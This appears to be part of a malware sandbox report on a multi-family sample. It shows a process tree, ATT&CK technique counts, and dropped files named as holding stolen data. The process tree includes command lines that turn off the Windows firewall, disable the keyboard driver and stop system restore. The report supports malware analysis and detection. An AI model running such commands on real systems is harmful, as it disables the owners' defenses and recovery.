                                                              • Suspicious use of WriteProcessMemory
                                                              PID:572
                                                              • C:\Windows\system32\net1.exe
                                                                C:\Windows\system32\net1 stop srservice
                                                                3⤵
                                                                  PID:5176
                                                              • C:\Windows\System32\netsh.exe
                                                                "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                                                                2⤵
                                                                • Modifies Windows Firewall
                                                                • Event Triggered Execution: Netsh Helper DLL
                                                                PID:3100
                                                              • C:\Windows\System32\sc.exe
                                                                "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                                                                2⤵
                                                                • Launches sc.exe
                                                                PID:4848
                                                              • C:\Windows\System32\sc.exe
                                                                "C:\Windows\System32\sc.exe" stop i8042prt
                                                                2⤵
                                                                • Launches sc.exe
                                                                PID:3900
                                                            • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                              "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                              1⤵
                                                                PID:4448
                                                              • C:\Windows\system32\vssvc.exe
                                                                C:\Windows\system32\vssvc.exe
                                                                1⤵
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:5068
                                                              • C:\Users\Admin\AppData\Local\Temp\2026-09-19_d3936209a54e078d94fc11d5f51560c6_destroyer_elex_glassworm_ngrbot_wannacry.exe
                                                                C:\Users\Admin\AppData\Local\Temp\2026-09-19_d3936209a54e078d94fc11d5f51560c6_destroyer_elex_glassworm_ngrbot_wannacry.exe
                                                                1⤵
                                                                  PID:5844
                                                                • C:\Users\Admin\AppData\Local\Temp\2026-09-19_d3936209a54e078d94fc11d5f51560c6_destroyer_elex_glassworm_ngrbot_wannacry.exe
                                                                  C:\Users\Admin\AppData\Local\Temp\2026-09-19_d3936209a54e078d94fc11d5f51560c6_destroyer_elex_glassworm_ngrbot_wannacry.exe
                                                                  1⤵
                                                                    PID:2784
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k GPSvcGroup
                                                                    1⤵
                                                                      PID:324
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                                      1⤵
                                                                        PID:5964
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                        1⤵
                                                                        • Modifies data under HKEY_USERS
                                                                        PID:1892
                                                                      • C:\Windows\system32\DllHost.exe
                                                                        C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                        1⤵
                                                                          PID:1252

                                                                        Network

                                                                              MITRE ATT&CK Enterprise v16

                                                                              Reconnaissance

                                                                              Resource Development

                                                                              Initial Access

                                                                              Execution

                                                                              Command and Scripting Interpreter

                                                                              4
                                                                              T1059

                                                                              PowerShell

                                                                              1
                                                                              T1059.001

                                                                              Visual Basic

                                                                              1
                                                                              T1059.005

                                                                              Windows Command Shell

                                                                              1
                                                                              T1059.003

                                                                              Scheduled Task/Job

                                                                              1
                                                                              T1053

                                                                              Scheduled Task

                                                                              1
                                                                              T1053.005

                                                                              System Services

                                                                              2
                                                                              T1569

                                                                              Service Execution

                                                                              2
                                                                              T1569.002

                                                                              Windows Management Instrumentation

                                                                              1
                                                                              T1047

                                                                              Persistence

                                                                              Boot or Logon Autostart Execution

                                                                              2
                                                                              T1547

                                                                              Registry Run Keys / Startup Folder

                                                                              2
                                                                              T1547.001

                                                                              Create or Modify System Process

                                                                              4
                                                                              T1543

                                                                              Windows Service

                                                                              4
                                                                              T1543.003

                                                                              Event Triggered Execution

                                                                              2
                                                                              T1546

                                                                              Image File Execution Options Injection

                                                                              1
                                                                              T1546.012

                                                                              Netsh Helper DLL

                                                                              1
                                                                              T1546.007

                                                                              Scheduled Task/Job

                                                                              1
                                                                              T1053

                                                                              Scheduled Task

                                                                              1
                                                                              T1053.005

                                                                              Privilege Escalation

                                                                              Boot or Logon Autostart Execution

                                                                              2
                                                                              T1547

                                                                              Registry Run Keys / Startup Folder

                                                                              2
                                                                              T1547.001

                                                                              Create or Modify System Process

                                                                              4
                                                                              T1543

                                                                              Windows Service

                                                                              4
                                                                              T1543.003

                                                                              Event Triggered Execution

                                                                              2
                                                                              T1546

                                                                              Image File Execution Options Injection

                                                                              1
                                                                              T1546.012

                                                                              Netsh Helper DLL

                                                                              1
                                                                              T1546.007

                                                                              Scheduled Task/Job

                                                                              1
                                                                              T1053

                                                                              Scheduled Task

                                                                              1
                                                                              T1053.005

                                                                              Defense Evasion

                                                                              Direct Volume Access

                                                                              1
                                                                              T1006

                                                                              Impair Defenses

                                                                              3
                                                                              T1562

                                                                              Disable or Modify System Firewall

                                                                              1
                                                                              T1562.004

                                                                              Disable or Modify Tools

                                                                              1
                                                                              T1562.001

                                                                              Indicator Removal

                                                                              2
                                                                              T1070

                                                                              File Deletion

                                                                              2
                                                                              T1070.004

                                                                              Modify Registry

                                                                              3
                                                                              T1112

                                                                              Credential Access

                                                                              Credentials from Password Stores

                                                                              1
                                                                              T1555

                                                                              Credentials from Web Browsers

                                                                              1
                                                                              T1555.003

                                                                              Unsecured Credentials

                                                                              1
                                                                              T1552

                                                                              Credentials In Files

                                                                              1
                                                                              T1552.001

                                                                              Discovery

                                                                              Browser Information Discovery

                                                                              1
                                                                              T1217

                                                                              Process Discovery

                                                                              1
                                                                              T1057

                                                                              Query Registry

                                                                              2
                                                                              T1012

                                                                              System Information Discovery

                                                                              4
                                                                              T1082

                                                                              System Time Discovery

                                                                              1
                                                                              T1124

                                                                              Lateral Movement

                                                                              Collection

                                                                              Data from Local System

                                                                              1
                                                                              T1005

                                                                              Command and Control

                                                                              Exfiltration

                                                                              Impact

                                                                              Defacement

                                                                              1
                                                                              T1491

                                                                              Inhibit System Recovery

                                                                              2
                                                                              T1490

                                                                              Service Stop

                                                                              2
                                                                              T1489

                                                                              Replay Monitor

                                                                              Loading Replay Monitor...

                                                                              Downloads

                                                                              scr_20260919_124218.jpg
                                                                              • Path C:\ProgramData\SysUpdate\Scr\scr_20260919_124218.jpg
                                                                              • Size 134KB
                                                                              • SHA256 7144eb3cdbb1749de4475c27cb644d30d94cecc6d3c0c53ccb2f44c2589225a1
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                              Submit Download

                                                                              invoice_1.pdf
                                                                              • Path C:\ProgramData\invoice_1.pdf
                                                                              • Size 65KB
                                                                              • SHA256 211c5b64f07a68ab49cca6cbc4acbaa1d652fe4bba791f669069436813f239fc
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                              Submit Download

                                                                              doc_3.pdf
                                                                              • Path C:\SystemVolumeInformation\doc_3.pdf
                                                                              • Size 64KB
                                                                              • SHA256 06463005b365b9d0021baadfa262707223e17c8fa5c6600cbe77c69eece1043a
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                              Submit Download

                                                                              BookmarkMergedSurfaceOrdering
                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                                                                              • Size 6B
                                                                              • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                                                                              • MD5 SHA1 SHA512
                                                                              Submit Download

                                                                              messages.json
                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json
                                                                              • Size 593B
                                                                              • SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
                                                                              • MD5 SHA1 SHA512 TLSH
                                                                              Submit Download

                                                                              craw_background.js
                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js
                                                                              • Size 531KB
                                                                              • SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                              Submit Download

                                                                              CURRENT
                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
                                                                              • Size 16B
                                                                              • SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
                                                                              • MD5 SHA1 SHA512
                                                                              Submit Download

                                                                              History
                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\History
                                                                              • Size 160KB
                                                                              • SHA256 1e8aeedc593253ce9cb8e4587cdbd792602e5743e9e0967b1300f8bb688b310e
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                              Submit Download

                                                                              Network Persistent State
                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                                                                              • Size 2KB
                                                                              • SHA256 c2cd07b742616abd238e9d1642fd74ea265d6bbddfe3fe82680750a6835c6438
                                                                              • MD5 SHA1 SHA512 TLSH
                                                                              Submit Download

                                                                              SCT Auditing Pending Reports
                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                                                              • Size 2B
                                                                              • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                                              • MD5 SHA1 SHA512
                                                                              Submit Download

                                                                              Preferences
                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                              • Size 11KB
                                                                              • SHA256 0681b3d7ef4ebceb082e2c60adff656aa1c5277810c3fa2cf4c08cbb0d566c9a
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                              Submit Download

                                                                              Preferences
                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                              • Size 12KB
                                                                              • SHA256 0f99728882f046081182bfd102ebdd0e7bf3c154202683bed311eeccc64dd5aa
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                              Submit Download

                                                                              Secure Preferences
                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                                                              • Size 11KB
                                                                              • SHA256 b77377e4860af8f8e6e014113edfa8c1c3289fee0712fddb9ba19b1ba92e9658
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                              Submit Download

                                                                              the-real-index
                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index
                                                                              • Size 72B
                                                                              • SHA256 0b6c67e20c05f95621a23c5e80eadd0ce6ed9807992c1c5646c7b16b815f71c7
                                                                              • MD5 SHA1 SHA512 TLSH
                                                                              Submit Download

                                                                              the-real-index~RFe5a42c7.TMP
                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index~RFe5a42c7.TMP
                                                                              • Size 48B
                                                                              • SHA256 7a50179c70ba83d41c93469418c57b854164defec25171ab6a99b41d58673755
                                                                              • MD5 SHA1 SHA512
                                                                              Submit Download

                                                                              data_0
                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_0
                                                                              • Size 8KB
                                                                              • SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                              Submit Download

                                                                              data_1
                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1
                                                                              • Size 264KB
                                                                              • SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                              Submit Download

                                                                              data_2
                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_2
                                                                              • Size 8KB
                                                                              • SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                              Submit Download

                                                                              data_3
                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_3
                                                                              • Size 8KB
                                                                              • SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                              Submit Download

                                                                              MANIFEST-000001
                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\MANIFEST-000001
                                                                              • Size 41B
                                                                              • SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
                                                                              • MD5 SHA1 SHA512
                                                                              Submit Download

                                                                              Web Data
                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                                                                              • Size 138KB
                                                                              • SHA256 86f9768ac8aa4d788dd267872c64a56322b522205fe99a2003d0f911be3512c5
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                              Submit Download

                                                                              Local State
                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                              • Size 136KB
                                                                              • SHA256 3149a7db87c16d384270e10a2fa7cd23269f8b0aca51711f042aa179536300e6
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                              Submit Download

                                                                              Local State
                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                              • Size 5KB
                                                                              • SHA256 df80ecc06dc763fb96143e6bf9e640a0608a698e2323d3f4a1679c6262b05c39
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                              Submit Download

                                                                              Local State
                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                              • Size 135KB
                                                                              • SHA256 21eb96667243a56d90b90f52948d2a07e426d52c296bed2883e56fd4b8911ce4
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                              Submit Download

                                                                              Local State
                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                              • Size 4KB
                                                                              • SHA256 406310e49896770bfe406680d76f85269072b0e6e1b4c077f39acdbfb70db2a8
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                              Submit Download

                                                                              createshortcut.vbs
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                                                                              • Size 309B
                                                                              • SHA256 3f20671a6ff397f9240e0b30bfcfe2c0051dcce3416301e6677f2e2df98a62f6
                                                                              • MD5 SHA1 SHA512 TLSH
                                                                              Submit Download

                                                                              del.bat
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                                                                              • Size 59B
                                                                              • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                                                                              • MD5 SHA1 SHA512 TLSH
                                                                              Submit Download

                                                                              makelnk.vbs
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                                                                              • Size 310B
                                                                              • SHA256 334199fe7d34f0711a3e3305005da6aa9519cfa48fa6e2b50ff9b5356e9b1e36
                                                                              • MD5 SHA1 SHA512 TLSH
                                                                              Submit Download

                                                                              messages.json
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1008_199721246\CRX_INSTALL\_locales\en\messages.json
                                                                              • Size 450B
                                                                              • SHA256 c0945dd5fdecab40c45361bec068d1996e6ae01196dce524266d740808f753fe
                                                                              • MD5 SHA1 SHA512 TLSH
                                                                              Submit Download

                                                                              temp_steal.log
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                                                                              • Size 179KB
                                                                              • SHA256 e553360d72a31986eae46aaabdfee8aa6f7143c2c26e227473185fcbc0e928a2
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                              Submit Download

                                                                              stolen_data_here.txt
                                                                              • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                                                                              • Size 179KB
                                                                              • SHA256 328d15ce92657d2342391cdee49320b84bf191f8f70cb334306edf211dafbaca
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                              Submit Download

                                                                              hosts
                                                                              • Path C:\Windows\system32\drivers\etc\hosts
                                                                              • Size 1KB
                                                                              • SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
                                                                              • MD5 SHA1 SHA512 TLSH
                                                                              Submit Download

                                                                              hosts
                                                                              • Path C:\Windows\system32\drivers\etc\hosts
                                                                              • Size 1KB
                                                                              • SHA256 05cbb805453fb4d33b6ebe61ba64f15bd852227542c765c1b49f7b76a000cf29
                                                                              • MD5 SHA1 SHA512 TLSH
                                                                              Submit Download

                                                                              hosts
                                                                              • Path C:\Windows\system32\drivers\etc\hosts
                                                                              • Size 1KB
                                                                              • SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
                                                                              • MD5 SHA1 SHA512 TLSH
                                                                              Submit Download

                                                                              memory/2860-0-0x00007FFF8C3FF000-0x00007FFF8C400000-memory.dmp
                                                                              Download

                                                                              memory/2860-8-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
                                                                              Download

                                                                              memory/2860-2266-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
                                                                              Download

                                                                              memory/2860-1957-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
                                                                              Download

                                                                              memory/2860-1-0x0000000000230000-0x0000000000242000-memory.dmp
                                                                              Download

                                                                              memory/2860-2-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
                                                                              Download

                                                                              memory/2860-2267-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
                                                                              Download

                                                                              memory/2860-2289-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
                                                                              Download

                                                                              memory/2860-3-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
                                                                              Download

                                                                              memory/2860-5-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
                                                                              Download

                                                                              memory/2860-7-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
                                                                              Download

                                                                              memory/3192-2294-0x000001F9B7E60000-0x000001F9B7E61000-memory.dmp
                                                                              Download

                                                                              memory/3464-74-0x000001D866DF0000-0x000001D866E0E000-memory.dmp
                                                                              Download

                                                                              memory/3464-20-0x000001D866D40000-0x000001D866D62000-memory.dmp
                                                                              Download

                                                                              memory/3464-75-0x000001D87F230000-0x000001D87F2E2000-memory.dmp
                                                                              Download

                                                                              memory/3464-228-0x000001D866E10000-0x000001D866E1A000-memory.dmp
                                                                              Download